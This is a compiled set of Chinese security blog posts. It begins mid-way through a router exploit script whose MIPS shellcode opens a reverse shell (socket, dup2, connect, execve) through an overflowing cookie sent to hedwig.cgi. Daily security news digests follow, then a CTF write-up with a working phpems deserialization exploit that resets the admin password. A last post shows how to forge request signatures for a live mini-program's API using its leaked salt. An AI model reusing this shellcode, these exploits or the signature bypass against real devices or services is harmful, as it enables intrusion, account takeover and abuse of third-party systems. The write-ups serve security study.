'\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01" #socket(2,1,0) stg3_SC += "\xe0\x01\xa2\xaf" #sw $v0,260($sp) stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01" #dup2 stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01" #connect stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27 #execve # stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c" #exit print(stg3_SC.encode(),len(stg3_SC)) payload = cyclic(973).decode() + gad_to_s5 + "cccc"  + gad_sp*8  + "dddd"*4 +  stg3_SC # 设置请求头 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 pause() response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 至此完成复现。
网络安全日报 2024年03月26日
1、俄罗斯黑客利用TinyTurla-NG入侵欧洲NGO网络 https://blog.talosintelligence.com/tinyturla-full-kill-chain/ 据研究人员最新发布的报告,与俄罗斯有关联的网络威胁行动组织Turla,成功侵入了一个未命名欧洲非政府组织(NGO)的多个系统,并部署了名为TinyTurla-NG(TTNG)的后门程序。攻击者首次渗透系统后,建立了持久性并修改了端点上运行的防病毒产品设置。此后,通过一个名为Chisel的通讯渠道来窃取数据,并向网络中其他可访问的系统拓展其控制范围。有证据显示,这些系统最早在2023年10月就已遭到破坏,Chisel在2023年12月部署,数据窃取活动在2024年1月12 2、StrelaStealer网络钓鱼攻击影响逾百个欧美机构 https://unit42.paloaltonetworks.com/strelastealer-campaign/ 研究人员最新发现了一波针对性的网络钓鱼攻击,这次攻击主要通过传播名为StrelaStealer的信息窃取恶意软件。据研究人员发布的报告,这次攻击波及了超过100家欧盟和美国的组织。研究者发现,攻击者通过垃圾邮件附件的形式散布恶意软件,并不断更换邮件附件文件格式以躲避安全检测。StrelaStealer主要用于盗取知名邮件客户端的登录数据,并将其传送至攻击者控制的服务器。自2022年11月首次揭露StrelaStealer以来,研究人员在2023年11月和2024年1月监测到 3、AWS修复Apache Airflow严重的“FlowFixation”会话劫持漏洞 https://www.tenable.com/blog/flowfixation-aws-apache-airflow-service-takeover-vulnerability-and-why-neglecting-guardrails 亚马逊网络服务(AWS)近期修复了其托管的Apache Airflow(MWAA)服务中的一个关键安全漏洞。根据研究人员的报告,此漏洞允许恶意攻击者劫持用户会话,并可能在底层实例上实现远程代码执行。这一漏洞被Tenable公司命名为FlowFixation,并已由AWS地址解决。Tenable的高级安全研究员在一项技术分析中指出,攻击者在接管受害者账户 4、GoFetch攻击威胁苹果M系列芯片可致安全加密遭泄露 https://gofetch.fail/ 一种名为"GoFetch"的新型旁道攻击手段影响了苹果的M1、M2和M3处理器,此攻击手段可用于从CPU缓存中窃取密钥。GoFetch攻击利用现代苹果CPU中的数据存储器依赖预取器(DMPs),并瞄准了执行时间恒定的密码实现,从而重建包括OpenSSL Diffie-Hellman、Go RSA、CRYSTALS Kyber和Dilithium在内的多种算法的私钥。这一攻击由来自美国多所大学的七名研究人员开发,并于2023年12月5日向苹果报告了他们的发现。然而,由于这是一个基于硬件的漏洞,目前无法在受影响的CPU中修复它。虽然可以通过软件修复来减 5、KDE警告官方主题或存在擦除用户文件风险 https://www.bleepingcomputer.com/news/linux/kde-advises-extreme-caution-after-theme-wipes-linux-users-files/ KDE团队警告Linux用户安装全局主题时要极为谨慎,哪怕是从官方KDE Store下载。这些主题通过运行任意代码来自定义桌面外观,但KDE Store目前允许任何人上传新的主题和插件,且没有恶意行为检查机制。KDE坦言,目前缺乏资源去审查提交到官方商店中每个全局主题的代码。如果这些主题存在缺陷或恶意设计,可能会导致不可预料的后果。在一个Reddit帖子中,至少有一名用户在安装 6、联合国调查58起朝鲜涉嫌盗窃加密货币案件,价值 30 亿美元 https://therecord.media/north-korea-cryptocurrency-hacks-un-experts 在 3 月 7 日发布的一份报告中,联合国专家表示,他们追踪了 2017 年至 2023 年间“隶属于侦察总局 (RGB) 的网络威胁行为者,包括 Kimsuky、Lazarus Group、Andariel 和 BlueNoroff”的活动。 7、国家网信办公布《促进和规范数据跨境流动规定》 https://www.freebuf.com/articles/395806.html 3 月 22 日,国家互联网信息办公室公布《促进和规范数据跨境流动规定》,自公布之日起施行。 8、新型Loop DOS攻击可能针对30万个脆弱主机 https://securityaffairs.com/160851/hacking/loop-dos-attack.html 该攻击通过配对使用UDP协议的服务器,并利用IP伪造技术,诱导它们进入一个无限循环的通信状态。 9、影响全球300万间酒店客房dormakaba门锁被曝高危漏洞 https://www.ithome.com/0/757/461.htm 专家表示该漏洞存在于多玛凯拔的 Saflok MT 系列、Quantum 系列、RT 系列、Saffire 系列、Confidant 系列和所有其它 Saflok 品牌的锁产品。 10、Sign1 恶意软件感染了9 万个 WordPress 网站 https://www.bleepingcomputer.com/news/security/evasive-sign1-malware-campaign-infects-39-000-wordpress-sites/ 在对 Sign1 恶意软件详细分析后,Sucuri 指出该恶意软件使用了基于时间戳的随机化生成动态 URL,每 10 分钟就会更新一次,以躲避安全拦截。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
2024西湖论剑-phpems-代码审计
前言 2024西湖论剑数据安全题,系统是phpems,修改了默认密码,需要利用CVE登上去 CVE-2023-6654 ,菜鸟学习,大佬多指点 0x01环境搭建 https://phpems.net/index.php 源码 config.inc.php修改相应数据库配置 数据库运行pe9.sql文件建立数据库 0x02代码审计 根据题目提示是CVE2023-6654 漏洞点在session.cls.php 查看session.cls.php代码 查看ginkgo 其make方法会判断$G拼接的文件名是否存在,也就是lib文件下的.cls.php文件,存在的就会包含这个文件 pepdo,ev,pdosql,strings是这里面分别包含的文件,根据CVE披露得知是反序列化漏洞,搜索反序列化点。 strings.cls.php中有利用点 getSessionId()方法里面有调用decode key值为CS,CS值在config.inc.php中,题目环境是修改的 使用如下代码可以解密出明文,因为我们知道key <?php define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6'); $info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%2 $key = CS; $info = urldecode(urldecode($info)); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } echo $info; encode代码 public function encode($info) { $info = serialize($info); $key = CS; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } decode代码 public function decode($info) { $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info; } 可以看出里面这个$p值是循环的,加密的出来的值等于其ascll值相加, encode是明文+key=密文 decode是密文-key=明文 key=密文-明文 key的长度是32位,也就是我们得到的密码每32位一循环,那么如果我们知道密文中其中一段32位的明文,就可以算出来key了 ev.cls.php 可以确认这个ip是可控的,也就是这个值是可控的 a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;} 去掉前面的64位,往后顺延32为取出来,值如下 :"sessionip";s:9:"127.0.0.1";s:1 解密脚本 <?php $info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1 $key = CS; $info = urldecode(urldecode($info)); $info1=substr($info,64,32); //echo $info1; $ed=strlen($info1);//也就是32 $dc=32; $sessip=':"sessionip";s:9:"127.0.0.1";s:1'; for ($i=0;$i<$ed;$i++) { $p=$i%$dc; $info1[$i]=chr(ord($info1[$i])-ord($sessip[$p])); } echo $info1; //1hqfx6ticwRxtfviTp940vng!yC12345 构造反序列化链子 session.cls.php的__destruct() 关键代码 $sql = $this->pdosql->makeUpdate($data); $this->db->exec($sql); ![](./myMediaFolder/media/image13.png){width="7.333333333333333in" height="2.8976049868766403in"} 这里可以看出分别需要db和pdosql,以此达到反序列化修改数据库密码, 构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec 0x03漏洞复现 这里使用网上师傅的EXP <?php namespace PHPEMS { class session { public function __construct() { $this->sessionid="1111111"; $this->pdosql= new pdosql(); $this->db= new pepdo(); } } class pdosql { private $db; public function __construct() { $this->tablepre = 'x2_user set userpassword="a10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--'; $this->db=new pepdo(); } } class pepdo { private $linkid = 0; } } namespace { define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345'); function encode($info) { $info = serialize($info); $key = CS1; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } $session = new PHPEMSsession(); $array = array("sessionid"=>"123123123", $session); echo serialize($array)."n"; echo(urlencode(encode($array)))."n"; } 实战中我们的ip是可以伪造的 关键代码点 需要先创建pepdo和pdosql pdosql.cls.php的makeUpdate是用来生成sql语句的 $tb_pre = $this->tablepre 所以这个sql语句参数可控 0x04总结 函数是关键,研究下是否能可控这个反序列化的参数值,并且反序列化中能够调用危险函数。
网络安全日报 2024年03月25日
1、Ivanti修复由北约研究人员报告的关键RCE漏洞 https://forums.ivanti.com/s/article/KB-CVE-2023-41724-Remote-Code-Execution-for-Ivanti-Standalone-Sentry?language=en_US Ivanti近日修复了两项关键漏洞CVE-2023-41724和CVE-2023-46808。CVE-2023-41724影响Ivanti Standalone Sentry,这是一款作为设备与激活Sync-enabled邮箱服务器之间网关的设备。该漏洞可以让未认证的攻击者在相同的物理或逻辑网络中执行任意指令。尽管目前尚无客户通过该漏洞被攻陷的报告,Iva 2、Fortinet软件关键漏洞遭野外积极利用 https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/ 研究人员发布了Fortinet公司FortiClient Enterprise Management Server(EMS)软件中一个关键漏洞(CVE-2023-48788,CVSS评分9.3)的概念验证(PoC)利用代码。该漏洞目前在野外被积极利用进行攻击。这个关键漏洞是一个普遍存在的SQL注入问题,位于DAS组件中。该SQL注入漏洞可能允许未认证的攻击者通过 3、豪华游艇经销商遭Rhysida勒索软件攻击 https://www.theregister.com/2024/03/21/luxury_yacht_dealer_rhysida/ 美国豪华游艇经销商MarineMax在本月初遭到了Rhysida勒索软件团伙的网络攻击。该集团宣称对此次攻击负责,并在其网站上发布了声称从MarineMax窃取的数据片段。这些文件主要与账户和财务相关,但文件的具体性质并不清晰。尽管MarineMax在3月10日向证券交易委员会(SEC)披露了网络攻击,并采取了一系列措施来减少业务受到的影响,但他们当时并未提及勒索软件的参与。MarineMax在提交给SEC的8-K表格中声称,受影响的信息环境中并未存储敏感数 4、微软曝光利用纳税申报表的新型网络钓鱼骗局 https://www.microsoft.com/en-us/security/blog/2024/03/20/microsoft-threat-intelligence-unveils-targets-and-innovative-tactics-amidst-tax-season/ 微软最近警告称,在纳税季节,针对个人纳税人和企业的网络钓鱼及恶意软件活动正在升温。这些网络诈骗活动不仅针对新税务人士、最近获得绿卡的移民、自行申报的小企业主以及年长者等特定群体,还使用紧急手段来窃取他们的个人和财务数据。攻击者经常伪装成可信来源,例如雇主、税务机构和支付处理商,发送模糊或不完整的税务文件,创 5、俄黑客组织APT29针对德国政党发起网络攻击 https://www.mandiant.com/resources/blog/apt29-wineloader-german-political-parties 俄罗斯黑客团伙APT29被指控对德国政党进行网络攻击作为其背后莫斯科支持的间谍活动的一部分。安研究人员表示,此次行动是该组织首次针对政治组织。研究人员发布的报告中将这次活动归咎于与俄罗斯外交情报局关联的APT29。该活动自2月底以来活跃,主要通过假装来自德国基督教民主联盟的网络钓鱼邮件进行。攻击者发送的钓鱼电子邮件看起来是来自德国基督教民主联盟的,邀请受害者参加晚宴接待。这些邮件包含了一个伪装成zip文件附件的恶意软件"RootS 6、千万房门面临电子锁漏洞风险 https://unsaflok.com/ 研究人员发现了一系列针对Dormakaba Saflok电子RFID锁的漏洞,这些漏洞被集体命名为Unsaflok,可能允许黑客破解这些流行锁具,打开全球范围内数百万扇门。Saflok电子RFID锁广泛应用于酒店和多户型住宅环境,遍布131个国家的13000个地产,影响了估计超过300万扇门。研究显示,仅需获取任一物业的一张钥匙卡,攻击者即可针对该物业的任何一扇门进行攻击。这张钥匙卡可以是他们自己房间的或者一个过期的从快速结账收集箱中取得的。利用成本不到300美元的RFID读写设备,研究人员可以复制这种钥匙卡来开锁。Dormakaba在2023年1 7、德国警方摧毁暗网市场“复仇者市场” https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2024/Presse2024/240321_PM_Nemesis_Market.html 2024年3月23日,德国联邦刑警局(BKA)和法兰克福打击网络犯罪小组(ZIT)成功摧毁了暗网市场Nemesis Market的基础设施。这次行动在德国和立陶宛执行,阻断了该市场的运作。据德国BKA发布的新闻稿称,Nemesis Market自2021年以来活跃,提供非法药物、窃取数据、信用卡信息以及网络犯罪服务,如勒索软件、钓鱼攻击或DDoS攻击。该市场近期注册用户超过15万,卖 8、SmokeLoader恶意软件针对金融部门发起网络钓鱼攻击 https://scpc.gov.ua/api/files/8e300d33-6257-4d7f-8f72-457224268343 近期,一群以金融动机为驱动的黑客利用SmokeLoader恶意软件,广泛针对乌克兰政府和行政机构的财务部门进行了一系列的网络钓鱼攻击活动。根据研究人员共同跟踪,他们分析了从2023年5月到11月发生的23起网络钓鱼活动。在这些频繁且规模庞大的攻击中,利用诱骗性电子邮件,黑客锁定了政府、防务、电信、零售和金融部门的财务部门。攻击者使用之前泄露的电子邮件地址来构建信任感,邮件主题常关于支付和账单,且包含以前泄露事件中窃取的合法财务文件。虽然试图使电子邮件看起来可信 9、AndroxGh0st恶意软件攻击Laravel应用窃取云凭证 https://blogs.juniper.net/en-us/security/shielding-networks-against-androxgh0st 研究人员近日揭示了一个名为AndroxGh0st的恶意软件,该软件针对使用Laravel框架的应用程序,窃取敏感数据,包括云服务凭证。研究人员表示,AndroxGh0st通过扫描和窃取.env文件中的重要信息,揭露了与AWS和Twilio等服务相关的登录详情。该恶意软件自2022年起就已在野外被检测到,利用者通过它访问Laravel环境文件,窃取包括亚马逊云服务(AWS)在内的各种云服务应用程序的凭证。AndroxGh0st利用已知的 10、Mozilla修复Firefox在Pwn2Own大赛中被利用的零日漏洞 https://www.mozilla.org/en-US/security/advisories/mfsa2024-15/#CVE-2024-29943 Mozilla迅速应对了在2024年温哥华Pwn2Own黑客大赛中被利用的两个Firefox零日漏洞。研究人员在比赛中通过OOB(越界)写操作以及暴露的高风险功能漏洞成功实现了对Mozilla Firefox的沙箱逃逸并执行远程代码。研究人员的这次黑客攻击为他赢得了10万美元和10个“Pwn之王”积分。Firefox安全顾问公布的两个问题涉及的CVE编号分别为CVE-2024-29943和CVE-2024-29944,并指出这两个问题仅影 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月22日
1、Kimsuky团伙利用Windows帮助文件进行网络攻击 https://www.rapid7.com/blog/post/2024/03/20/the-updated-apt-playbook-tales-from-the-kimsuky-threat-actor-group/ 据研究人员透露,臭名昭著的朝鲜黑客团伙Kimsuky已开始采取新的网络攻击手段。Kimsuky一直偏爱使用钓鱼攻击,有时还会通过长时间的社会工程学手段冒充学者或媒体人与目标建立联系。他们之前的攻击中,受害者会收到加载了恶意软件的问卷。虽然研究人员尚不确定该团伙如何分发其最新的攻击载荷,但它们确信包括有毒的Microsoft编译的HTML帮助(CHM)文件,以及ISO、VH 2、新型网络钓鱼攻击运用Office漏洞部署NetSupport恶意软件 https://perception-point.io/blog/operation-phantomblu-new-and-evasive-method-delivers-netsupport-rat/ 一种新型网络钓鱼活动正在针对美国组织,其目的是部署名为NetSupport RAT的远程访问木马。研究人员正在追踪这一活动,称其为“Operation PhantomBlu”。PhantomBlu行动引入了一种新颖的利用方法,通过利用OLE(对象链接与嵌入)模板操控,巧妙地利用Microsoft Office文档模板来执行恶意代码,同时规避检测,背离了NetSupport RAT的典型传输机 3、黑客积极利用JetBrains TeamCity漏洞传播恶意软件 https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html 根据研究人员的报告,多个威胁行为者正在积极利用JetBrains TeamCity最近曝光的安全漏洞来发动攻击。研究人员报告称,攻击者可以利用CVE-2024-27198进行广泛的恶意活动,包括投放Jasmin勒索软件、部署XMRig加密货币挖矿程序、部署Cobalt Strike信标、部署SparkRAT后门、执行域发现和持久性命令等。攻击者借此安装恶意软件,与指挥控制服务 4、Ivanti漏洞遭大规模攻击活动利用 https://www.varonis.com/blog/increased-threat-activity-targeting-ivanti-vulnerabilities 研究人员报告显示,此次活动主要以两个漏洞为目标:CVE-2023-46805,一种高严重性的验证绕过漏洞,以及CVE-2024-21887,一种关键严重性的命令注入漏洞。黑客通过串联这两个漏洞获得了远程执行任意命令的能力。这些漏洞的详情于2024年1月10日公开披露,并迅速有相应的概念验证(POC)代码作为流行的Metasploit攻击框架的攻击模块发布。首批报告显示,一名黑客自2023年12月起开始利用这些目标,该行 5、新型“Loop DoS”攻击威胁30万系统 https://cispa.de/en/loop-dos 研究人员发现了一种名为“Loop DoS”的新型拒绝服务(DoS)攻击方式,该攻击通过UDP漏洞针对应用层协议,创建无限循环通信,影响约30万主机。与传统的滥用大量流量使系统不堪重负的DoS攻击不同,“Loop DoS”攻击利用了UDP(面向无连接的协议)不验证消息的特性,通过伪造IP地址制造服务器间的无休止通信,导致服务不可用。这种攻击可以影响DNS、NTP、TFTP等常用协议,以及Echo和Chargen这样的传统协议。尽管目前还未发现该漏洞被广泛利用,但此现象展示了网络安全威胁的演变和网络犯罪分子的高级化。系统管理员和IT安全专 6、GitHub 在公共测试版中推出“代码扫描自动修复” https://www.securityweek.com/github-rolls-out-code-scanning-autofix-in-public-beta/ GitHub 周三宣布推出代码扫描自动修复的公开测试版,这是一项旨在帮助开发人员更快地解决代码漏洞的新功能。代码扫描自动修复最初于 2023 年 11 月宣布,依靠 GitHub 的人工智能代码完成工具 Copilot 和语义代码分析引擎 CodeQL 来识别 JavaScript、Typescript、Java 和 Python 存储库中的漏洞,并为其提供修复建议。 7、FortiClient EMS 严重漏洞被广泛利用 https://securityaffairs.com/160885/uncategorized/fortinet-forticlient-ems-critical-flaw.html 研究人员针对 Fortinet 的 FortiClient 企业管理服务器 (EMS) 软件中的一个严重缺陷发布了 PoC 漏洞,该漏洞已被积极利用。 8、PWN2OWN 温哥华 2024第一天 – 特斯拉被攻破 https://securityaffairs.com/160870/hacking/pwn2own-vancouver-2024-day-1.html 2024 年 Pwn2Own 温哥华黑客大赛第一天,参赛者团队展示了特斯拉黑客技术,参与者在 2024 年 Pwn2Own 温哥华黑客竞赛第一天因展示 19 个独特的零日而获得了 732,000 美元的奖金。专家们成功演示了针对 Tesla 汽车、Linux 和 Windows 操作系统等的漏洞利用。 9、因系统故障,埃塞俄比亚某商业银行可以无”限额“取钱 https://www.wionews.com/business-economy/ethiopia-bank-glitch-allows-customers-to-withdraw-millions-heres-what-happened-701766 埃塞俄比亚最大的商业银行(Commericial Bank of Ethiopia)出现一起技术故障,旗下的 ATM 可以无”限额“取钱。 10、 IDC:2027 年中国网络安全市场规模将超 200 亿美元 https://www.secrss.com/articles/64540 IDC 预测,中国网络安全市场规模从 2022 年的 123.5 亿美元快速增长至 2027 年的 233.2 亿美元,期间年复合增长率为 13.5%,高于全球平均水平。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月21日
1、苏格兰健康局遭网络攻击面临数据泄露风险 https://www.nhsdg.co.uk/cyberattack/ 2024年3月15日,服务于苏格兰西南部地区的NHS Dumfries and Galloway健康局宣布遭受了一次有针对性的持续网络攻击。尽管具体攻击方式未公开,健康局已警告表示有大量患者和员工数据可能已被泄露。目前,该健康局已经启动既定应对协议,正在与多个合作机构紧密合作,包括Police Scotland、国家网络安全中心(NCSC)和苏格兰政府,旨在控制攻击、调查数据泄露范围并减轻潜在损害。该网络攻击可能导致NHS Dumfries and Galloway的服务中断,潜在影响包括病患预约、在线服务的访问或内部 2、黑客利用假谷歌站点传播AZORult木马病毒 https://www.netskope.com/blog/from-delivery-to-execution-an-evasive-azorult-campaign-smuggled-through-google-sites 近期,研究人员发现了一种新的恶意软件活动,攻击者通过制作伪造的谷歌站点页面,并采用HTML走私技术,传播一种名为AZORult的商业恶意软件以窃取信息。研究人员发布的报告中指出,这种钓鱼活动尚未归咎于特定的威胁行为者或团伙,但已广泛展开,目的是收集敏感数据并在黑市论坛出售。AZORult是一种信息窃取软件,最初于2016年被检测到。它通常通过钓鱼和垃圾邮件活动、为盗 3、DEEP#GOSU新恶意软件攻击活动针对Windows系统 https://www.securonix.com/blog/securonix-threat-research-security-advisory-new-deepgosu-attack-campaign/ 研究人员近日发现一场名为DEEP#GOSU的新型攻击活动,利用PowerShell和VBScript恶意软件攻击Windows系统,并窃取敏感信息。研究人员通过技术分析指出,该恶意软件运用高级技术,能够在Windows系统中悄无声息地执行操作,尤其在网络监控方面。DEEP#GOSU被认为与朝鲜支持的黑客组织Kimsuky相关。该恶意软件的功能包括记录键盘操作、监控剪贴板内容、执行动态有 4、Atlassian修复了Bamboo等产品中的严重漏洞 https://securityaffairs.com/160838/security/atlassian-fixed-critical-flaw-cve-2024-1597.html Atlassian 修复了 Bamboo、Bitbucket、Confluence 和 Jira 产品中的数十个漏洞,其中包括一个可能非常危险的严重缺陷。 5、Chrome 123、Firefox 124发布,修复严重漏洞 https://www.securityweek.com/chrome-123-firefox-124-patch-serious-vulnerabilities/ 谷歌和 Mozilla 周二宣布了网络浏览器安全更新,解决了数十个漏洞,其中包括一个严重漏洞和多个高严重漏洞。 6、Microsoft 宣布在 Windows 中弃用 1024 位 RSA 密钥 https://www.bleepingcomputer.com/news/microsoft/microsoft-announces-deprecation-of-1024-bit-rsa-keys-in-windows Microsoft 宣布,Windows 传输层安全 (TLS) 中将很快弃用短于 2048 位的 RSA 密钥,以提供更高的安全性。1024 位 RSA 密钥的强度约为 80 位,而 2048 位密钥的强度约为 112 位,这使得后者的分解时间长了 40 亿倍。该领域的专家认为 2048 位密钥 至少在 2030 年之前都是安全的。 7、LockBit 试图通过新版本维持生存 https://www.trendmicro.com/en_us/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version.html 最近,研究人员获得了一个样本,据信该样本代表了 LockBit 的新演变:与平台无关的恶意软件正在测试的开发版本,与以前的版本不同。 8、TeamCity漏洞导致勒索软件、恶意挖矿和 RAT 攻击激增 https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html 多个威胁行为者正在利用 JetBrains TeamCity 软件中最近披露的安全漏洞来部署勒索软件、加密货币挖矿程序、Cobalt Strike 信标以及基于 Golang 的名为 Spark RAT 的远程访问木马。 9、微软报告,英国87%的组织容易受到网络攻击 https://cybernews.com/security/uk-organizations-ai-attacks/ 报告显示,39%的组织没有将网络威胁告知其领导层,没有业务连续性计划,没有专门的网络安全预算,且缺乏对技术升级的投资。 10、超过133K台 Fortinet 设备仍然易受CVE-2024-21762影响 https://www.theregister.com/2024/03/18/more_than_133000_fortinet_appliances 尽管补丁逐渐增加,但暴露在公共互联网上且易受 FortiOS 一个月前严重安全漏洞影响的 Fortinet 数量仍然非常高。根据安全非营利组织 Shadowserver 的最新数据,易受 CVE-2024-21762 影响的 Fortinet 设备数量超过 133,000 台,仅比十天前的 150,000 多台略有下降。暴露数量最多的是亚洲,有 54,310 台设备仍然容易受到严重 RCE 漏洞的影响。北美和欧洲分别以 34,945 和 28 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
小程序绕过 sign 签名
之前看到了一篇文章【小程序绕过sign签名思路】之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程。 并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。 小程序 父母邦亲子旅行酒店营地乐园活动。 在登录时验证码登录的数据包 POST /wxapp/login/send_messages?format=json HTTP/1.1 Host: api.fumubang.com Content-Length: 118 Xweb_xhr: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555 Content-Type: application/json Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close {"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"} 我们直接修改手机号,重放数据包。 提示签名失败。 打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet 将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码。 对小程序进行反编译 因为有一些依赖于 wx 所以只能提供思路 我们看到 sign 的创建流程 所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); 就好啦。 初期思路是这样子的 但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的。 柳暗花明 我们加入调试 发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数。 利用微信开发者工具进行模拟操作。 加入断点 继续步入 可以添加字段 查看对应的值。 继续步入 该函数首先创建一个空数组 e ,然后通过 Object.keys(r).sort() 获取对象 r 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e 中。 最后得到的值是: scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e 返回值为 64d78d749828368851331593fa1e1ceb 就是对应字符串生成的 md5 的值。 我们修改一下数据包 发送成功。 修改手机号的数据包 将手机号修改后 提示签名失败。 phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e a90b19243e471d648d8eb5022d48066c phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e 